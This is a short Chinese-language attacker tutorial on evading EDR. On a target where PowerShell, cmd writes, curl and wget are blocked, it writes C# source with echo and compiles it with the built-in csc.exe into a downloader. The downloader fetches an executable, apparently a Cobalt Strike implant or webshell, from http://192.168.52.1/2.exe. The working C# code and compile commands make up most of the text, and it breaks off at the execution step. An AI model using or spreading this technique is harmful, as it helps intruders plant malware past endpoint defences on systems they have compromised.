Csc.exe编译下载器绕过edr
NO.1 简介
通常我们会遇到无法在靶机上传文件的情况,例如上传cs马或者webshell等工具,这种时候一般采用两种方式来达成目标。一是直接写入文件到靶机,二是通过远程下载到靶机。
但如今靶机大多存在edr,无法使用PowerShell或cmd来写入恶意文件,curl或wget也会受到各种限制。
这时候就可以通过cs文件来做一个文件下载器,帮助我们达成目标。
csc.exe是微软.NET Framework中的C#编译器,Windows系统中默认包含,可在命令行下将cs文件编译成exe。
NO.2 cs文件编写
文件下载的cs
using System.Net;
namespace downloader
{
class Program
{
static void Main(string[] args)
{
WebClient client = new WebClient();
string URLAddress = @"http://192.168.52.1/2.exe"; //远程文件
string receivePath = @"e:\2.exe";//存放的位置,一定要是可读写执行位置
client.DownloadFile(URLAddress, receivePath);
}
}
}
写入文件到1.txt,存放路径要是可读写的路径
Echo using System.Net; >> c:\temp\1.txt
若rce处只能单行执行,可使用echo追加到文件中
NO.3 上传编译
系统中.NET的版本可能不同,按实际情况判断
将1.txt编译成下载2.exe的可执行文件
C:\Windows\Microsoft.NET\Framework\v3.5\csc.exe /out:e:\1.exe c:\temp\1.txt
编译后导出的路径,一定要是可读写执行的路径,一般是temp路径
NO.4 执行
在客户端